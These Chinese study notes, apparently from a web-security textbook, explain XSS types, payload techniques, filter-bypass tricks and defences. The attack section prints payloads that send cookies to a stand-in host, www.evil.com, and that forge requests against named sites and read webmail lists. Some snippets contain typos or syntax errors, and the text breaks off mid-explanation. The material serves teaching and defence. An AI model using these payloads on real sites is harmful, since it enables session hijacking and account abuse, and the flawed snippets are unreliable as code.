跨站腳本攻擊
XSS簡介
XSS攻擊進階
XSS攻擊平台
終極武器:XSS Worm
XSS構造技巧
XSS的防御
HttpOnly
輸入檢查
輸出檢查
正確地防御XSS
處理富文本
防御DOM Based XSS
換個角度看XSS的風險
瀏覽器安全
同源策略
影響源的因素:host,子域名,端口,協議
a.com通過以下代碼:
<script scr=http://b.com/b.js>
加載了b.com上的b.js,但是b.js是運行在a.com頁面中的,因此相對於當前打開的頁面(a.com)來說,b.js的源就應該是a.com而非b.com
不同於XMLHttpRequest的是,通過src屬性加載的資源,瀏覽器限制了JavaScript的權限,使其不能讀、寫返回的內容。
XMLHttpRequest不能跨域訪問資源。但是有跨域請求的需求,因此W3C指定了XMLHttpRequest的跨域訪問標准。它需要通過目標域返回的Http頭來授權是否允許跨域訪問,因此HTTP頭對於JavaScript來說一般是無法控制的,所以認為這個方案是可行的。注意:這個跨域訪問方案的安全基礎就是信任“Javascript無法控制該HTTP頭”,如果此信任基礎被打破,則此方案也就不再安全。
瀏覽器沙箱
每個單獨的頁面是一個進程。瀏覽器加載的第三方插件如Flash、Java、PDF、.NET Framework都成為了被攻擊熱點。
惡意網址攔截
瀏覽器使用黑名單策略來警告用戶。常見的惡意網址分為兩類:
1、掛馬網站,通常包含惡意的Javascript或Flash,通過利用瀏覽器的漏洞,執行shellcode,在電腦中植入木馬
2、釣魚網站:模仿知名網站的相似頁面
高速發展的瀏覽器安全
跨站腳本攻擊
Cross Site Script,因為和CSS重名,所以改名XSS
XSS簡介
通常指黑客通過“HTML注入”纂改了頁面,插入了惡意的腳本,從而在用戶瀏覽頁面時,控制用戶瀏覽器的一種攻擊。在一開始,這種攻擊的演示案例是跨域的,所以叫“跨站腳本”。但是發展到今天,由於Javascript的強大功能以及網站前端應用的復雜化,是否跨域已經不再重要。但是由於歷史原因,這個名字保留了下來。
假設一個頁面把用戶輸入的參數輸出到頁面上:
1 <?php 2 $input=$_GET["param"]; 3 echo "<div>".$input."</div>"; 4 ?>
如果提交一段HTML代碼:
會發現alert(/xss/)被執行了。
XSS分為以下幾類:
1)反射型XSS: 就如上面的例子,也就是黑客需要誘使用戶點擊鏈接。也叫作”非持久型XSS“(Non-persistent XSS)
2)存儲型XSS:把用戶輸入的數據”存儲“在服務器端。這種XSS具有很強的穩定性。
比較常見的一個場景是,黑客寫下一篇包含惡意Javascript代碼的博客文章,文章發表后,所有訪問該博客文章的用戶,都會在他們的瀏覽器中執行這段惡意的Javascript代碼。黑客把惡意的腳本保存在服務器端,所以中XSS攻擊就叫做”存儲型XSS”。
3)DOM based XSS:也是一種反射型XSS,由於歷史原因被單獨列出來了。通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。
看如下代碼:
1 <script> 2 function test(){ 3 var str=document.getElementById("text").value; 4 document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>"; 5 } 6 </script> 7 <div id="t"></div> 8 <input type="text" id="text" value="" /> 9 <input type="button" id="s" value="write" onlick="test()" />
這段代碼的作用就是點擊write按鈕后在當前頁面插入一個鏈接。
構造如下數據:
’ onclick=alert(/xss/) //
輸入后,頁面代碼就成了
首先用一個單引號閉合掉href
的第一個單引號,然后插入一個onclick
事件,最后再用注釋符//
注釋掉第二個單引號。
實際上,這里還有另外一種利用方式—除了構造一個新事件外,還可以選擇閉合掉<a>
標簽,並插入一個新的HTML標簽。嘗試如下輸入:
'><img scr=# onerror=alert(/xss2/) /><'
頁面代碼編程
<a href='http://cracer.com/blog/'><img scr=# onerror=alert(/xss2/) /><''>testLink</a>.
XSS攻擊進階
初探XSS Payload
XSS Payload就是JavaScript腳本(還可以是Flash或其他富客戶端的腳本),所以任何Javascript腳本能做到的事情,XSS Payload都能做到。
一個最常見的XSS Payload就是讀取瀏覽器的Cookie對象,從而發起”Cookie劫持”攻擊。
Cookie中一般加密保存了當前用戶的登錄憑證。Cookie如果丟失,往往意味着用戶的登錄憑證丟失。換句話說,攻擊者可以不用通過密碼,而直接登錄進用戶的賬戶。
如下所示,攻擊者先加載一個遠程腳本:
http://www.a.com/test.htm?abc=“><script scr=http://www.evil.com/evil.js ></script>
真正的XSS Payload現在這個遠程腳本中,避免直接在URL的參數里寫入大量的JavaScript代碼。
在evil.js中,可以通過如下代碼竊取Cookie:
var img=document.createElement("img"); img.src="http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);
這段代碼在頁面中插入了一張看不見的圖片,同時把document.cookie對象作為參數發送到遠程服務器。
事實上,http://www.evil.com/log 並不一定要存在,因為這個請求會在遠程服務器的Web日志中留下記錄 。
這樣就完成了一個最簡單的竊取Cookie的XSS Payload。
黑客可以用這個Cookie直接登錄。
防止:Cookie的“HttpOnly”標識可以防止”Cookie劫持”,我們將在稍后的章節中在具體介紹。
強大的XSS Payload
構造Get與Post請求:例如在Sohu上有一篇文章, 想通過XSS刪除它,該如何做呢?
假設Sohu博客所在域的某頁面存在XSS漏洞,那么通過JavaScript,這個過程如下:
正常刪除該文章的鏈接是:http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
對於攻擊者來說,只需要直到文章的id,就能夠通過這個請求刪除這篇文章了。
攻擊者可以通過插入一張圖片來發起一個get請求:
var img=document.createElement("img"); img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012"; document.body.appendChild(img);
攻擊者只需要讓博客的作者執行這段JavaScript代碼(XSS Payload),就會把這篇文章刪除。在具體攻擊中,攻擊者將通過XSS誘使用戶執行XSS Payload。
再看一個復雜點的例子。如果網站應用者接受POST請求,那么攻擊者如何實施XSS攻擊呢?
下例是Douban的一處表單。攻擊者將通過Javascript發出一個post請求,提交此表單,最終發出一條新的消息。
1 var f=document.createElement("form"); 2 f.action=""; 3 f.method="post"; 4 document.body.appendChild(f); 5 var i1=document.createElement("input"); 6 i1.name=" ck"; 7 i1.value=" JiuY"; 8 f.appendChild(i1); 9 var i2=document.createElement("input"); 10 i2.name=" mb_text"; 11 i2.value="testtestseset"; 12 f.appendChild(i2); 13 f.submit();
如果表單參數很多的話,通過構造DOM的方式,代碼將會很冗長。所以可以直接寫HTML代碼:
var dd=document.createElement("div"); document.body.appendChild(dd); dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+ '<input type="hidden" name="ck" value="JiuY" />'+ '<input type="hidden" name="mb_text" value="testetst" />' + '</form>' document.getElementById("xssform").submit();
第二種方法是,通過XMLHttpRequest發送一個POST請求:
1 var url = "http://www.douban.com"; 2 var postStr = "ck=JiuY&mb_text=test1234"; 3 var ajax = null; 4 if (window.XMLHttpRequest) { 5 ajax = new XMLHttpRequest(); 6 } else if (window.ActiveXObject) { 7 ajax = new ActiveXObject("Microsoft.XMLHTTP"); 8 } else { 9 return; 10 } 11 ajax.open("POST", url, true); 12 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 13 ajax.send(postStr); 14 ajax.onreadystatechange = function() { 15 if (ajax.readyState == 4 && ajax.status == 200) { 16 alert("Done"); 17 } 18 }
通過這個例子可以看出,使用Javascript模擬提交表單並不是一件困難的事情.
下面的例子將演示如何通過XSS Payload讀取QMail用戶的郵件文件夾:
首先看看正常的請求是如何獲取到所有的郵件列表的。登錄郵箱后,點擊“收件箱”后。抓包發現瀏覽器發出了如下請求:
http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1
經過分析,真正能訪問到郵件列表的鏈接是:
http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx…
這里有一個無法直接構造出的值:sid。從字面推測,這個sid參數應該是用戶ID加密后的值。
所以XSS Payload的思路是先獲取到sid的值,然后構造完整的URL,並使用XMLHttpRequest請求到此URL,應該就能得到郵件列表了。XSS Payload如下:
1 if (top.window.location.href.indexOf("sid=") > 0) { 2 var sid = top.window..location.href.substr(top.window.location.href.indexOf("sid=") + 4, 24); 3 } 4 var folder_url = "http://" + top.window.location.host + "/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=" + sid; 5 var ajax = null; 6 if (window.XMLHttpRequest) { 7 ajax = new XMLHttpRequest(); 8 } else if (window.ActiveXObject) { 9 ajax = new ActiveXObject("Microsoft.XMLHTTP"); 10 } else { 11 return; 12 } 13 ajax.open("GET", folder_url, true); 14 ajax.send(null); 15 ajax.onreadystatechange = function() { 16 if (ajax.readyState == 4 && ajax.status == 200) { 17 alert(ajax.responseText); 18 //document.write(ajax.responseText); 19 } 20 }
郵件列表的內容成功被XSS Payload獲取到。
釣魚:
XSS並非萬能。前面的例子都是Javascript腳本,缺少”與用戶的交互”,碰到驗證碼,和修改密碼時需要輸入舊密碼,XSS Payload就會失效。
對於驗證碼,XSS Payload可以讀取頁面的內容,將驗證碼的圖片URL發送到遠程服務器上來實施–攻擊者可以在遠程XSS后台接收當前驗證碼,並將驗證碼的值返回給當前的XSS Payload
從而繞過驗證碼。
修改密碼的問題比較復雜,為了竊取密碼,攻擊者可以將XSS與”釣魚”結合。
實現思路很簡單:利用Javascript在當前頁面上”畫出”一個偽造的登錄框,當用戶在登錄框中輸入用戶名和密碼后,其密碼將被發送到黑客的服務器上。
識別用戶瀏覽器:
navigator.userAgent
但是userAgent是可以偽造的。這個信息不一定准確。
由於瀏覽器之間的實現存在差異,利用這種差異分辨瀏覽器幾乎不會錯誤。
參考:
1 if (window.ActiveObject) { 2 //MSIE 6.0 or below 3 //判斷是否IE 7以上 4 if (document.documentElement && typeof document.documentElement.style.maxHeight != "undefined") { 5 if (typeof document.adoptNode != "undefined") { //Safari 3 & FF & Opera & Chrome & IE8 6 //MSIE 8.0 7 } 8 //MSIE 7.0 9 } 10 return "msie"; //MSIE6.0 11 } else if { 12 typeof window.opera != "undefined") { //Opera獨占 13 return "opera"; 14 } else if (typeof window.netscape != "undefined") { //Mozilla獨占 15 if (typeof window.Iterator != "undefined") { 16 //Firefox 2.0以上支持這個對象 17 if (typeof document.styleSheetSets != "undefined") { //FireFox 3 & Opera 9 18 //Firefox 3 19 } 20 //Firefox 2.0 21 } 22 return "mozilla"; 23 } else if (typeof window.pageXOffset != "undefined") { //Mozilla & Safari 24 try { 25 if (typeof external.AddSearchProvider != "undefined") { //Firefox & Google Chrome 26 return "Chrome"; 27 } 28 } catch(e) { 29 return "safari"; 30 } 31 } else { //unknown 32 return "unknown"; 33 }
識別用戶安裝的軟件:
在IE中,可以通過判斷ActiveX控件的classid是否存在,來推測用戶是否安裝了該軟件。這種方法很早就被用於“掛馬攻擊”–黑客通過判斷用戶安裝的軟件,選擇對應的瀏覽器漏洞,最終達到
入木馬的目的。
看如下代碼:
try { var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper'); } catch (e){ //異常了,不存在該控件 }
通過收集常見軟件的classid,就可以掃描出用戶電腦中安裝的軟件列表,甚至包括軟件的版本。
一些第三方軟件也可能會泄漏一些信息。比如Flash有一個system.capabilities對象,能夠查詢客戶端電腦中的硬件信息。
在XSS Payload中,可以在Flash的ActionScript中讀取system.capabilities對象后,將結果通過ExternalInterface傳給頁面的javascript。
瀏覽器的擴展和插件也能被XSS Payload掃描出來。比如對於Firefox的插件和擴展,有着不同的檢測方法。
Firefox的插件(Plugins)列表存放在一個DOM對象中,通過查詢DOM可以遍歷出所有的插件:
所以直接查詢”navigator.plugins”對象,就能找到所有的插件了。例如 navigator.plugins[0]
而Chrome的擴展(Extension)要復雜一些。有安全研究者想出了一個方法:通過檢測擴展的圖標,來判斷某個特定的擴展是否存在。
在Chrome中有一個特殊的協議: chrome:// ,Chrome的擴展圖標可以通過這個協議被訪問到。比如Flash Got擴展的圖標,可以這樣訪問:
chrome://flashgot/skin/icon32.png
掃描Chrome擴展時,只需在Javascript中加載這張圖片,如果加載成功,則擴展存在;反之,擴展就不存在
1 var m = new Image(); 2 m.onload = function() { 3 alert(1); //圖片存在 4 }; 5 m.onerror = function() { 6 alert(2); //圖片不存在 7 }; 8 m.src = "chrome://flashgot/skin/icon32.png"; //連接圖片
CSS History Hack:
我們再看看另外一個有趣的XSS Payload—通過CSS,來發現一個用戶曾經訪問過的網站。
原理是利用style的visited桑性—如果用戶曾經訪問過某個鏈接,那么這個鏈接的顏色會變的與眾不同。
1 < script > 2 var websites = [...要檢測的訪問過的網址列表,可能有幾千個...]; 3 //遍歷每個URL 4 for (var i = 0; i < websites.length: i++) { 5 var link = document.createElement("a"); 6 link.id = "id" + i; 7 link.href = websites[i]; 8 link.innerHTML = websites[i]; 9 document.write('<style>'); 10 document.write('#id' + i + ":visited {color:#FF0000;}"); 11 document.write('</style>'); 12 document.body.appendChild(link); 13 var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color"); 14 document.body.removeChild(link); 15 if (color == "rgb(255,0,0)") { //visited 16 var item = document.createElement('li'); 17 item.appendChild(link); 18 document.getElementById('visited').appendChild(item); 19 } else { //Not visited 20 var item = document.createElement('li'); 21 item.appendChild(link); 22 document.getElementById('notvisited').appendChild(item); 23 } 24 } < /script>/
但是Firefox已經決定修補這個問題
獲取用戶的真實IP地址:
很多時候,用戶電腦的IP地址隱藏在代理服務器或NAT的后面。
javascript本身並沒有獲取本地IP地址的能力。一般需要第三方軟件來完成。比如,客戶端安裝了Java環境(JRE),那么XSS就可以通過調用Java Applet的接口獲取客戶端的本地IP地址。
在XSS攻擊框架”Attack API”中,就有一個獲取本地IP地址的API:
1 AttackAPI.dom.getInternalIP = function() { 2 try { 3 var sock = new java.net.Socket(); 4 sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); 5 sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port) ? 80 : document.location.port)); 6 return sock.getLocalAddress().getHostAddress(); 7 } catch(e) {} 8 return '127.0.0.1'; 9 };
此外,還有兩個利用Java獲取本地網絡信息的API:
XSS攻擊平台:
XSS Payload如此強大,為了使用方便,有安全研究者將許多功能封裝起來,成為XSS攻擊平台。這些攻擊平台的主要目的是為了演示XSS的危害,以及方便滲透測試使用。
Attack API: Attack API是安全研究者pdp所主導的一個項目,他總結了很多能夠直接使用的XSS Payload,歸納為API的方式。
BeFF:曾經是最好的XSS演示平台。其所演示的是一個完整的XSS攻擊過程。
XSS-Proxy:是一個輕量級的XSS攻擊平台,通過嵌套iFrame的方式可以實時地遠程控制被XS攻擊的瀏覽器。
這些XSS攻擊平台有助於深入理解XSS的原理和危害。
終極武器:XSS Worm
Samy Worm:
2005年,年僅19歲的Samy Kamkar發起了對MySpace.com的XSS Worm攻擊。
MySpace過濾了很多危險的HTML標簽,只保留了<a>
標簽、<img>
標簽、<div>
標簽等”安全的標簽”.並過濾了所有的事件,例如”onclick”。但是MySpace卻允許用戶控制標簽的Style屬性,通
style,還是有辦法構造出XSS的。比如:
<div style="background:url('javascript:alert(1)')">
其次,MySpace同時還過濾了”javascript”、”onreadystatechange”等敏感詞,所以Samy用了“拆分法”繞過這些限制。
最后Samy通過Ajax構造的Post請求,完成了在用戶的heros列表里添加自己名字的功能;同事復制蠕蟲自身進行傳播。至此,XSS Worm就完成了。
具體代碼太長。。。
但是發起XSS Worm攻擊是有一定的條件的:
一般來說,用戶之間發生交互行為的頁面,如果存在存儲性XSS,則比較容易發起XSS Worm攻擊。
比如發送站內信、用戶留言等頁面,都是XSS Worm的高發區,需要重點關注。而相對的,如果一個頁面只能由用戶個人查看,比如”用戶個人資料設置”頁面,因為缺乏用戶之間互動的功能
所以即使存在XSS,也不能被用於XSS Worm的傳播。
百度空間蠕蟲:
調試Javascript:
要想寫好XSS Payload,需要有很好的Javascript功底,調試javascript是必不可少的技能。
Firebug …
XSS構造技巧
利用字符編碼:
“百度搜藏”曾經出現過一個這樣的XSS漏洞。百度在一個<script>標簽中輸出了一個變量,其中轉義了雙引號: var redirectUrl="\";alert(/xss/);";
一般來說,這里是沒有XSS漏洞的,因為變量處於雙引號之內,系統轉義了雙引號導致變量無法escape。
但是百度的返回頁面是GBK/GB2312編碼的,因此”%c1\”這兩個字符組合在一起后,會成為一個Unicode字符。在Firefox下會認為這是一個字符,所以構造: %c1";alert(/xss/);//
並提交: var rediretUrl="?";alert(2);//";
這兩個字節:"%c1\"
組成了一個新的Unicode字符,%c1
把轉義符"\"
給”吃掉了”,從而繞過了系統的安全檢查,成功地實施了XSS攻擊。
繞過長度限制:
很多時候,產生XSS的地方會有變量的長度限制,這個限制可能是服務器端邏輯造成的。
假設下面代碼存在一個XSS漏洞: <input type=text value="$var" />
服務器端對輸出變量$var做了嚴格的長度限制,那么攻擊者可能會這樣構造XSS: $var
為 "><script>alert(/xss/)</script>
希望達到的輸出效果是: <input type=text value=""><script>alert(/xss/)</script>" />
假設長度限制為20個字節,則這段XSS會被切割為: $var
輸出為: "><script>alert(/xss
連一個完整的函數都無法寫完。
攻擊者可以利用時間(Event)來縮短所需要的字節數: $var
輸出為"onclick=alert(1)//
加上空格符,剛好夠20個字節
但利用“事件”能夠縮短的字節數是有限的。最好的辦法是先把XSS Payload寫在別處,再通過簡短的代碼加載這段XSS Payload。
最常用的一個“藏代碼”的地方,就是“location.hash”。而且根據HTTP協議,location.hash的內容不會在HTTP包中發送,所以服務器端的Web日志中並不會記錄下location.hash里的內容,從而
更好地隱藏了黑客真實的意圖。 $var
輸出為onclick="eval(location.hash.substr(1))"
總共40個字節。輸出后的HTML是: <input type=text value="" onclick="eval(location.hash.substr(1)) " />
因為location.hash的第一個字符是#,所以必須去除第一個字符才行。此時構造出的XSS URL為:
http://www.a.com/test.html#alert(1)
用戶點擊文本框時,location.hash里的代碼就執行了.
location.hash本身沒有長度限制,但是瀏覽器的地址欄是有長度限制的,不過這個長度已經足夠寫很長的XSS Payload了。要是地址欄的長度也不夠用,還可以再使用加載遠程JS的方法,來
更多的代碼。
在某些環境下,可以利用注釋符繞過長度限制。
比如我們能控制兩個文本框,第二個文本框允許寫入更多的字節。此時可以利用HTML的”注釋符號“,把兩個文本框之間的HTML代碼全注釋掉,從而”打通“兩個<input>
標簽。
<input id=1 type="text" value="" />
xxxxx
<input id=2 type="text" value="" />
在第一個input框中,輸入:"><!--
在第二個input框中,輸入:--><script>alert(/xss/);</script>
最終的效果是:
<input id=1 type="text" value=""><!-- />
xxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>" />
中間的代碼前部被<!-- -->
注釋掉了。
使用<base>
標簽: <base>
標簽是定義所有使用”相對路徑”標簽的hosting地址
例如:
<body> <base href="http://www/google.com" /> <img scr="/int1/...png" /> </body>
需要注意的是<base>
標簽可以出現在頁面的任何地方,並作用於該標簽之后的所有標簽。
攻擊者如果在頁面中插入了<base>
標簽,就可以通過在遠程服務器上偽造圖片、鏈接或腳本,劫持當前頁面中的所有使用”相對路徑“的標簽。比如:
<base href="http://www.evil.com" />
...
<script src="http://cracer.com/blog/x.js">
...
<img scr="y.jpg" />
...
<a href="http://cracer.com/blog/auth.do"> auth</a>
所以在設計XSS安全方案時,一定要過濾掉這個非常危險的標簽。
window.name的妙用:
window.name對象是一個很神奇的東西,對當前的window.name對象賦值,沒有特殊字符的限制。因為window對象是瀏覽器的窗體,而並非document對象,因此很多時候window對象不受同
策略的限制。攻擊者利用這個對象,可以實現跨域、跨頁面傳遞數據。在某些環境下,這種特性將變得非常有用。
參考以下案例:
www.a.com/test.html的代碼為:
<body> <script> window.name="test"; alert(document.domain+" "+window.name); window.location="http://www.b.com/test1.html"; </script> </body>
這段代碼將window.name賦值為test,然后顯示當前域和window.name的值,最后頁面跳轉到www.b.com/test1.html。
www.b.com/test1.html的代碼為:
<body> <script> alert(document.domain+" "+window.name); </script> </body>
這個過程實現了數據的跨域傳遞:”test”這個值從www.a.com傳遞到www.b.com
使用window.name可以縮短XSS Payload的長度,如下所示:
<script> window.name="alert(document.cookie)"; location.href="http://www.xssedsite.com/xssed.php"; </script>
在統一窗口打開XSS的站點后,只需通過XSS執行以下代碼即可:
eval(name);
只有11個字節,短到了極點。
這個技巧為安全研究者luoluo發現,同時他還整理了很多繞過XSS長度限制的技巧。
變廢為寶:Mission Impossible
從XSS漏洞利用的角度來看,存儲型XSS對攻擊者的用處比反射型XSS要大。而有的XSS漏洞被認為只能夠攻擊自己,屬於”雞肋”漏洞。但隨着時間的推移,數個曾經被認為是無法利用的
洞,都被人找到了利用方法:
a)Apache Expect Header XSS:
b)Anehta的回旋鏢:
容易被忽視的角落:Flash XSS
前面降到的XSS攻擊都是基於HTML的,其實在Flash中同樣也有可能造成XSS攻擊。
在Flash中是可以嵌入ActionScript腳本的。一個最常見的Flash XSS可以這樣寫:
getURL(“javascript:alert(document.cookie)”)
ActionScript是一種非常強大和靈活的腳本,甚至可以使用它來發起網絡連接,因此應該盡可能地阻止用戶能夠上傳和加載自定義的Flash文件。
由於Flash文件如此危險,所以在實現XSS Filter時,一般都會禁用、等標簽。后者甚至可以加載ActiveX控件,產生更為嚴重的后果。
嵌入FLash的腳本重要的參數有allowScriptAccess(推薦值never)、allowNetworking(建議值none或者internal)。
Flash XSS往往被忽視,因為其問題出現在編譯后的Flash文件中。
真的高枕無憂嗎?Javascript開發框架
jQuery本身出現的漏洞較少,但是開發者的意識才是安全編碼的關鍵。
例如$(‘div.demo-container’).html(“”);
如果用戶可控制輸入,那么XSS產生是必然的。
XSS的防御
HttpOnly
瀏覽器將禁止頁面的Javascript訪問帶有HttpOnly屬性的Cookie。是為了解決劫持Cookie攻擊。因為Javascript獲取不到Cookie的值。
C#中設置HttpOnly的方法:
HttpCookie myCookie=new HttpCookie(“myCookie”);
myCookie.HttpOnly=true;
Response.AppendCookie(myCookie);
輸入檢查
常見的Web漏洞如XSS、SQL諸如等,都要求攻擊者構造一些特殊字符,這些特殊字符可能是正常用戶不會用到的,所以輸入檢查就有存在的必要了。
例如,用戶名可能會被要求只能為字母、數字的組合。
輸入檢查的邏輯應該放在服務器端,否則很容易被繞過。目前的普遍做法是在客戶端和服務器端都執行檢查。
在XSS的防御上,輸入檢查一般是檢查用戶輸入的數據中是否包含一些特殊字符,如< > ’ “等。如果發現,則將這些字符過濾掉或編碼。
比較智能的還會檢查<script> javascript等敏感字符,網上有很多XSS Filter資源。但因為XSS Filter對語境不了解,有時不能檢查出XSS攻擊。
輸出檢查
一般來說,除了富文本的輸出外,在變量輸出到HTML頁面時,可以使用編碼或者轉移的方式來防御XSS攻擊。
安全的編碼函數:
針對HTML代碼的編碼方式是HtmlEncode。
HtmlEncode並非專用名詞,它只是一種函數體現。它的作用是將字符轉換成HTMLEntities,對應的標准是ISO-8859-1。
對了對抗XSS,在HtmlEncode中至少要轉換以下字符: & => & < =>< > " ' /
相應地,Javascript的編碼方式可以使用JavascriptEncode。
JavascriptEncode與HtmlEncode的編碼方法不同,他需要使用\對特殊字符進行轉義。在對抗CSS時,還要求輸出的變量必須在引號內部,以避免造成安全問題。比較下面兩種寫法: var x=escapeJavascript($evil);
var y='"'+escapeJavascript($evil)+'"';
如果escapeJavascript函數只轉義了幾個危險字符,比如’ ” < > \ & #等,那么上面的兩行代碼輸出后可能變成: var x=1;alert(2);
var y="1;alert(2)";
所以要求使用JavascriptEncode的變量輸出一定要在引號內。
可視很多開發者沒有這個習慣怎么辦?這將只能使用一個更加嚴格的JavascriptEncode函數–除了數字、字母外的所有字符,都使用十六進制”\xHH”的方式進行編碼。在本例中: var x=1;alert(2);
變成了: var x=1\x3balert\x282\x29;
如此代碼可以保證是安全的。
只需一種編碼嗎?
XSS攻擊主要發生在MVC架構中的View層。大部分的XSS漏洞可以在模版系統中解決。
不是使用了auto-escape就萬事大吉了,XSS的防御需要區分情況對待。
正確地防御XSS
XSS的本質還是一種”HTML注入”。
想要根治XSS,可以列出所有XSS可能發生的場景,在一一解決。
在HTML標簽中輸出:如
<div>$var</div>
<a href=# >$var</a>
這樣可以構造出:
<div><script>alert(/xss/)</script></div>
<a href=#><img scr=# onerror=alert(1) /></a>
防御方法是對變量使用HtmlEncode。
在HTML屬性中輸出:如
<div id="abc" name="$var" ></div>
可以構造出:
<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
防御方法也是HtmlEncode。在OWASP ESAPI中推薦了一種更嚴格的HtmlEncode–除了字母、數字外,其他所有的字符都被編碼成HTMLEntities。 String sfa=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input")];
這種嚴格的編碼方式,可以保證不會出現任何安全問題。
在<script>標簽中輸出:如
<script>
var x="$var";
</script>
可以構造出:
<script>
var x="";alert(/xss/);//";
</script>
防御時也是使用JavascriptEncode
在事件中輸出:如 <a href=# onclick="funcA('$var')" >test</a>
可以構造出: <a href=# onclick="funcA('');alert(/xss/);//')" >test</a>
在防御時需要使用JavascriptEncode
在CSS中輸出:
在CSS和style、style attribute中形成的XSS的方式非常多樣化,參考下面幾個XSS的例子。
<STYLE>@import 'http://ha.ckers.org/xss.css';
<STYLE>BODY {-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}
<XSS STYLE="behavior:url(xss.htc);">
<STYLE>li {list-style-image:url("javascript:alert('XSS')");} </STYLE><UIL><LI>XSS
<DIV STYLE="background-image:url(javascript:alert('XSS'))">
<DIV STYLE="width:expression(alert('XSS'));">
所以一般來說,盡可能地禁止用戶可控制的變量在”<style>
標簽”、”HTML標簽的style屬性”以及”CSS文件”中輸出。如果一定有這樣的需求,推薦使用OWASP ESAPI中的encodeForCSS()
數。類似於ESAPI.encoder().encodeForJavaScript()函數。
在地址中輸出:
在地址中輸出也較為復雜。一般來說,在URL的path(路徑)或者search(參數)中輸出,使用URLEncode即可。
例如: <a href="http://www.evil.com/?test=$var" >test</a>
可能的攻擊辦法: <a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a>
經過URLEncode后就可以防御。
但是還有一種情況,就是整個URL都能夠被用戶完全控制。這時URL的協議和Host部分是不能夠使用URLEncode的,否則會改變URL的語義。
一個URL的組成如下: [Protocol][host][Path][search][Hash]
如 http://www.evil.com/a/b/c/test?abc=123#ssss
protocol="http://"
host=www.evil.com
search="?abc=123"
hash=#ssss
在Protocol和host中,如果使用嚴格的URLEncode函數,則會把”://
“、”.
“等都編碼掉。
對於如下的輸出方式: <a href="http://cracer.com/blog/$var" >test</a>
攻擊者可能會構造: <a href="javascript:alert(1);">test</a>
除了“JavaScript作為偽協議可以執行代碼外,還有VBScript、dataURI等偽協議可能導致腳本執行。
由此可見,如果用戶能夠完全控制URL,則可以執行腳本的方式有很多,如何解決這種情況呢?
一般來說,如果變量是整個URl,則應該首先檢查變量是否是以Http開頭,如果不是則自動添加,以保證不會出現偽協議類的XSS攻擊。
在此之后再對變量進行URLEncode,即可保證不會有此類的XSS發生了。
OWASP ESAPI中有一個URLEncode的實現:
ESAPI.encoder().encodeForURL
處理富文本
有些時候,網站需要允許用戶提交一些自定義的HTML代碼,稱之為”富文本”。比如,一個用戶在論壇里發帖,帖子里的內容里要有圖片、視頻、表格等,這些“富文本”的效果都需要通過HTM
代碼來實現。
如何區分安全的“富文本”和有攻擊性的XSS呢?
在處理富文本時,還是要回到”輸入檢查”的思路上來。”輸入檢查“的主要功能是,在檢查時還不知道變量的輸出語境。但用戶提交的”富文本“數據,其語義是完整的HTML代碼,在輸出時也不
拼湊到某個標簽的屬性中。因此可以特殊情況特殊處理。
在上一節中,列出了所有在HTML中可能執行腳本的地方。而一個優秀的”XSS Filter“,也應該能夠找出HTML代碼中所有可能執行腳本的地方。
HTML是一種結構化的語言,比較好分析。通過htmlparser可以解析出HTML代碼的標簽、標簽屬性和事件。
在過濾富文本時,”事件“應該被嚴格禁止,因為”富文本“的展示需求里不應該包括”事件“這種動態效果。而一些危險的標簽,比如<iframe>、<script>、<base>、<form>
等,也是應該嚴格禁
的。
在標簽的選擇上,應該使用白名單,避免使用黑名單。比如,只允許<a>、<img>、<div>
等比較”安全“的標簽存在。
”白名單“原則不僅僅用於標簽的選擇,同樣應該用於屬性與事件的選擇。
在富文本過濾中,處理CSS也是一件麻煩的事情。如果允許用戶自定義的CSS、style,則也可能導致XSS攻擊。因此盡可能地禁止用戶自定義CSS與Style。
如果一定要允許用戶自定義樣式,則只能像過濾”富文本“一樣過濾”CSS“。這需要一個CSS Parser對樣式進行智能分析,檢查其中是否包含危險代碼。
有一些比較成熟的開源項目,實現了對富文本的XSS檢查。
Anti-Samy是OWASP上的一個開源項目,也是目前最好的XSS Filter。最早它是基於Java的,現在已經擴展到.NET等語言。
防御DOM Based XSS
DOM Based XSS是一種比較特別的XSS漏洞,前文提到的幾種防御方法都不太適用,需要特別對待。
DOM Based XSS是如何形成的呢?回頭看看這個例子:
<script> function test(){ var str=document.getElementById("text").value; document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>"; } </script> <div id="t"></div> <input type="text" id="text" value="" /> <input type="button" id="s" value="write" oncick="test()" />
在button的onclick事件中,執行了test()函數,而該函數中最關鍵的一句是: document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>";
將HTML代碼寫入了DOM節點,最后導致了XSS的發生。
事實上,DOM Based XSS是從Javascript中輸出數據到HTML頁面中。而前文提到的方法都是針對”從服務器應用直接輸出到HTML頁面”的XSS漏洞,因此並不適用於DOM Based XSS。
看看下面這個例子:
<script> var x="$var"; document.write("<a href='http://cracer.com/blog/"+x+"' >test</a>"); </script>
變量$var
輸出在<script>
標簽內,可是最后又被document.write輸出到HTML頁面中。
假設為了保護$var
直接在<script>
標簽內產生XSS,服務器端對齊進行了JavascriptEscape。可是$var在document.write時,仍然能夠產生XSS,如下所示:
<script> var x="\x20\x27onlick\x3dalert\x281\x29\x3b..."; document.write("test"); </script>
頁面渲染之后的實際結果如下:
XSS攻擊成功。
其原因在於,第一次執行JavascriptEscape后,只保護了: var x="$var";
